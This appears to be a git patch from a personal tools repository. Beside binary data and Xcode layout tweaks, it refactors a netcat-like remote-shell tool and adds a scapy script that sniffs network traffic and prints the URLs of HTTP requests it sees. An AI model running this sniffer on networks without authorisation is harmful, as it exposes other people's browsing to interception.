zKjT=&$&8;f&ShN8xS4S~<8H=-jK>*IGXBW;+u&gEHuxC=4HARGpfrRVA`E(i$hWUmChE~H0!)n7i!&io{4Lc2c4EqcR4Mz+|4HpcT z4c81e47Ut-49^TN4X-SjAd|{uGTk!WGd(iBGNqYOnX#D(nMs+cnYzr3%&g2FnLRW6 zWcJT2%`DF}XI5qo&YYdOA@gkJt1REF)T}O9y|emc^~)NZH709pmL+RK*5s_IS<|y- zWG&8Gn$?uGENgkzimcUH>$1Mgx|sDeTb7-i-8Xwgc5C*A>@C>`vMq5NxWV|1 z@jK&Y<1XVV<2BA5Aj^||A6aqh(2k8)?`&dOb!yEL~s zw>5V~?yB6axd(F(?seUkeu_hlZJXP@Vo=bR_ZbIzX$-?}NOiymfgS^ETye$=jZ{H}62+;k=`H$MSCH`{!rn7v>k`Te{~L=MT&upWm3j zHh*XSp8S3J2lJ2Q|CE0s|8)M@{0sRH@*m|t$$ysrGXGTpD4+_M0=oi-0$G8kAitn* zL4Cp0f|i0!1wR#>EjU+jq2NZr&4OD6j|v_aJSlip@V5z=>`e|PN0Z3pX9_e)Ofr+g zq&CHy5=|*4tx0b(jW%^N6`OjSN=#)YvuTj&ebYqKEYl~ZPfeehmYSMPt)?$b8%^6y zhfT*!Crv+_E|@Nxu9Y6kvxS!mf3e+J R0EF6}+@EdF_D|u>{{u+_QZWDk diff --git a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib index df50262..903d8cb 100644 --- a/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib +++ b/tools/AceBox/AceBox/Base.lproj/LaunchScreen.xib @@ -1,5 +1,5 @@ - + @@ -12,7 +12,7 @@ + + + + + + + @@ -31,7 +38,10 @@ + + + diff --git a/tools/AceBox/AceBox/Base.lproj/Main.storyboard b/tools/AceBox/AceBox/Base.lproj/Main.storyboard index 8f5b4fa..346d151 100644 --- a/tools/AceBox/AceBox/Base.lproj/Main.storyboard +++ b/tools/AceBox/AceBox/Base.lproj/Main.storyboard @@ -1,7 +1,7 @@ - + - + @@ -13,18 +13,18 @@ - + diff --git a/tools/comm/countc.c b/tools/comm/countc.c index 1b978fc..41c6e35 100644 --- a/tools/comm/countc.c +++ b/tools/comm/countc.c @@ -91,6 +91,8 @@ void count_file(char *path) && !valid_type(path,"py") && !valid_type(path,"go") && !valid_type(path,"php") + && !valid_type(path,"asp") + && !valid_type(path,"jsp") && !valid_type(path,"swift") ) { diff --git a/tools/hack/ant.py b/tools/hack/ant.py index 101edf3..456fcb0 100755 --- a/tools/hack/ant.py +++ b/tools/hack/ant.py @@ -151,22 +151,20 @@ def ParseArguments() : parser.add_argument('-u', '--udp', action='store_true', help='Use UDP instead of TCP') parser.add_argument('-k', '--keepopen', action='store_true', help='Accept multiple connections in listen mode') parser.add_argument('-d', '--debug', action='store_true', help='Debug mode') - parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.2') gArgs = parser.parse_args() - - if gArgs.shell and gArgs.execute != '' : - Print("parameter error: -s or -e") - sys.exit() - - if gArgs.listen : - ServerEntry() - else : - ClientEntry() - def main() : try : ParseArguments() + if gArgs.shell and gArgs.execute != '' : + Print("parameter error: -s or -e") + sys.exit() + + if gArgs.listen : + ServerEntry() + else : + ClientEntry() except KeyboardInterrupt, e: Print("\n[!] User force to quit.") diff --git a/tools/hack/app.py b/tools/hack/app.py new file mode 100755 index 0000000..0686c34 --- /dev/null +++ b/tools/hack/app.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ------------------------------------------------------------------------ +# File Name: app.py +# Author: Zhao Yanbai +# Tue Sep 29 10:27:23 2015 +# Description: AceVest Packet Peeper +# ------------------------------------------------------------------------ + +import os +import sys +import argparse +import scapy.all +import netaddr +import re +import urllib +import urllib2 +import BaseHTTPServer + +gArgs = None + +def ParseArguments() : + global gArgs + parser = argparse.ArgumentParser(prog='app', description='AceVest Packet Peeper', epilog='') + parser.add_argument('-i', '--iface', action='store', default='any', help='peeper interface') + parser.add_argument('-f', '--filter', action='store', default='', help='filter string') + parser.add_argument('-c', '--count', action='store', default='0', help='peeper packet count') + parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1') + gArgs = parser.parse_args() + + +class HTTPRequest(BaseHTTPServer.BaseHTTPRequestHandler) : + def __init__(self, request) : + self.raw_requestline = request + self.parse_request() + + +def DoHttpHeader(s, port) : + lines = s.split('\r\n') + path = None + host = None + + for l in lines : + if l[:4] == 'GET ' : + path = l.split()[1] + if l[:5] == 'Host:' : + host = l.split()[1] + + print host+':'+str(port)+urllib.unquote_plus(path) + +def DoHttp(s, port) : + ''' + print s + print '-'*80 + print urllib2.parse_keqv_list(s) + print '-'*80 + hr = HTTPRequest(s) + print hr + h = BaseHTTPServer.BaseHTTPRequestHandler() + h.raw_requestline = s + h.parse_request() + return + ''' + if s[:4] == 'GET ' or s[:5] == 'POST ' : + DoHttpHeader(s, port) + +def PacketCallback(packet) : + #print packet.show() + if packet['IP'].proto == scapy.all.IP_PROTOS.tcp: + if packet['TCP'].dport in [80, 8080] : + DoHttp(str(packet['TCP'].payload), packet['TCP'].dport) + +def DoPeeper() : + global gArgs + ''' + print gArgs.iface + print gArgs.filter + print gArgs.count + + for ip in netaddr.IPNetwork('192.168.1.1/30') : + print ip + ''' + + scapy.all.sniff(filter=gArgs.filter, iface=gArgs.iface, prn=PacketCallback, count=gArgs.count, store=0) + + +def main() : + try : + ParseArguments() + DoPeeper() + except KeyboardInterrupt, e: + Print("\n[!] User force to quit.") + + +if __name__ == "__main__" : + main() -- 2.47.0